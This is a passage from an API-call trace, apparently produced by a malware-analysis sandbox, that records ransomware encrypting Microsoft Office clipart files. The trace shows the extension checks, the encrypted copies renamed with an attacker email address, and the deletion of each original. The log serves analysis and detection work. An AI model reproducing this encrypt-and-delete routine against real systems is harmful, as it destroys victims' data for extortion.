lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0298.088] lstrlenW (lpString=".zip") returned 4 [0298.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.088] lstrlenW (lpString=".rar") returned 4 [0298.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.088] lstrlenW (lpString=".bz2") returned 4 [0298.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.088] lstrlenW (lpString=".7z") returned 3 [0298.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0298.088] lstrlenW (lpString=".dbf") returned 4 [0298.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0298.088] lstrlenW (lpString=".1cd") returned 4 [0298.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0298.089] lstrlenW (lpString=".jpg") returned 4 [0298.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.089] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.089] lstrlenW (lpString="BOATINST.WMF") returned 12 [0298.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.089] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=29004) returned 1 [0298.089] CloseHandle (hObject=0x358) returned 1 [0298.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220 [0298.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.090] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.090] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0298.091] GetLastError () returned 0x0 [0298.091] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x714c, lpOverlapped=0x0) returned 1 [0298.092] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x7150, lpOverlapped=0x0) returned 1 [0298.719] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.719] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.720] SetEndOfFile (hFile=0x350) returned 1 [0298.720] CloseHandle (hObject=0x350) returned 1 [0298.720] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.720] SetEndOfFile (hFile=0x358) returned 1 [0298.721] CloseHandle (hObject=0x358) returned 1 [0298.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0298.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0298.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0298.722] lstrlenW (lpString=".doc") returned 4 [0298.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.722] lstrlenW (lpString=".docx") returned 5 [0298.722] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0298.722] lstrlenW (lpString=".pdf") returned 4 [0298.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.722] lstrlenW (lpString=".xls") returned 4 [0298.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.723] lstrlenW (lpString=".xlsx") returned 5 [0298.723] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0298.723] lstrlenW (lpString=".ppt") returned 4 [0298.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0298.723] lstrlenW (lpString=".zip") returned 4 [0298.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.723] lstrlenW (lpString=".rar") returned 4 [0298.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.723] lstrlenW (lpString=".bz2") returned 4 [0298.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.723] lstrlenW (lpString=".7z") returned 3 [0298.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0298.723] lstrlenW (lpString=".dbf") returned 4 [0298.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0298.723] lstrlenW (lpString=".1cd") returned 4 [0298.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0298.723] lstrlenW (lpString=".jpg") returned 4 [0298.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0298.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0298.723] lstrlenW (lpString=".doc") returned 4 [0298.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.723] lstrlenW (lpString=".docx") returned 5 [0298.723] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0298.723] lstrlenW (lpString=".pdf") returned 4 [0298.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.724] lstrlenW (lpString=".xls") returned 4 [0298.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.724] lstrlenW (lpString=".xlsx") returned 5 [0298.724] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0298.724] lstrlenW (lpString=".ppt") returned 4 [0298.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0298.724] lstrlenW (lpString=".zip") returned 4 [0298.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.724] lstrlenW (lpString=".rar") returned 4 [0298.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.724] lstrlenW (lpString=".bz2") returned 4 [0298.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.724] lstrlenW (lpString=".7z") returned 3 [0298.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0298.724] lstrlenW (lpString=".dbf") returned 4 [0298.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0298.724] lstrlenW (lpString=".1cd") returned 4 [0298.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0298.724] lstrlenW (lpString=".jpg") returned 4 [0298.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.724] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.725] lstrlenW (lpString="BS00200_.WMF") returned 12 [0298.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.725] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3104) returned 1 [0298.725] CloseHandle (hObject=0x358) returned 1 [0298.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220 [0298.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.726] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.726] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0298.727] GetLastError () returned 0x0 [0298.727] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xc20, lpOverlapped=0x0) returned 1 [0298.728] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xc30, lpOverlapped=0x0) returned 1 [0298.729] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.729] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.729] SetEndOfFile (hFile=0x350) returned 1 [0298.729] CloseHandle (hObject=0x350) returned 1 [0298.729] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.729] SetEndOfFile (hFile=0x358) returned 1 [0298.730] CloseHandle (hObject=0x358) returned 1 [0298.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0298.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0298.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0298.730] lstrlenW (lpString=".doc") returned 4 [0298.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.731] lstrlenW (lpString=".docx") returned 5 [0298.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.731] lstrlenW (lpString=".pdf") returned 4 [0298.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.731] lstrlenW (lpString=".xls") returned 4 [0298.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.731] lstrlenW (lpString=".xlsx") returned 5 [0298.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.731] lstrlenW (lpString=".ppt") returned 4 [0298.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0298.731] lstrlenW (lpString=".zip") returned 4 [0298.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.731] lstrlenW (lpString=".rar") returned 4 [0298.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.731] lstrlenW (lpString=".bz2") returned 4 [0298.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.731] lstrlenW (lpString=".7z") returned 3 [0298.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0298.731] lstrlenW (lpString=".dbf") returned 4 [0298.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0298.731] lstrlenW (lpString=".1cd") returned 4 [0298.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0298.731] lstrlenW (lpString=".jpg") returned 4 [0298.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0298.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0298.731] lstrlenW (lpString=".doc") returned 4 [0298.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.731] lstrlenW (lpString=".docx") returned 5 [0298.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.732] lstrlenW (lpString=".pdf") returned 4 [0298.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.732] lstrlenW (lpString=".xls") returned 4 [0298.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.732] lstrlenW (lpString=".xlsx") returned 5 [0298.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.732] lstrlenW (lpString=".ppt") returned 4 [0298.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0298.732] lstrlenW (lpString=".zip") returned 4 [0298.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.732] lstrlenW (lpString=".rar") returned 4 [0298.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.732] lstrlenW (lpString=".bz2") returned 4 [0298.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.732] lstrlenW (lpString=".7z") returned 3 [0298.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0298.732] lstrlenW (lpString=".dbf") returned 4 [0298.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0298.732] lstrlenW (lpString=".1cd") returned 4 [0298.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0298.732] lstrlenW (lpString=".jpg") returned 4 [0298.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.733] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.733] lstrlenW (lpString="BS00224_.WMF") returned 12 [0298.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.733] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1588) returned 1 [0298.733] CloseHandle (hObject=0x358) returned 1 [0298.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220 [0298.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.733] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.734] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0298.734] GetLastError () returned 0x0 [0298.734] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x634, lpOverlapped=0x0) returned 1 [0298.735] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x640, lpOverlapped=0x0) returned 1 [0298.737] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.737] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.737] SetEndOfFile (hFile=0x350) returned 1 [0298.737] CloseHandle (hObject=0x350) returned 1 [0298.737] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.737] SetEndOfFile (hFile=0x358) returned 1 [0298.738] CloseHandle (hObject=0x358) returned 1 [0298.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0298.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0298.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0298.739] lstrlenW (lpString=".doc") returned 4 [0298.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.739] lstrlenW (lpString=".docx") returned 5 [0298.739] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.739] lstrlenW (lpString=".pdf") returned 4 [0298.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.739] lstrlenW (lpString=".xls") returned 4 [0298.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.739] lstrlenW (lpString=".xlsx") returned 5 [0298.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.740] lstrlenW (lpString=".ppt") returned 4 [0298.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0298.740] lstrlenW (lpString=".zip") returned 4 [0298.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.740] lstrlenW (lpString=".rar") returned 4 [0298.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.740] lstrlenW (lpString=".bz2") returned 4 [0298.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.740] lstrlenW (lpString=".7z") returned 3 [0298.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0298.740] lstrlenW (lpString=".dbf") returned 4 [0298.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0298.740] lstrlenW (lpString=".1cd") returned 4 [0298.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0298.740] lstrlenW (lpString=".jpg") returned 4 [0298.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0298.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0298.740] lstrlenW (lpString=".doc") returned 4 [0298.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.740] lstrlenW (lpString=".docx") returned 5 [0298.740] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.741] lstrlenW (lpString=".pdf") returned 4 [0298.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString=".xls") returned 4 [0298.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.741] lstrlenW (lpString=".xlsx") returned 5 [0298.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.741] lstrlenW (lpString=".ppt") returned 4 [0298.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0298.741] lstrlenW (lpString=".zip") returned 4 [0298.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.741] lstrlenW (lpString=".rar") returned 4 [0298.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString=".bz2") returned 4 [0298.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.741] 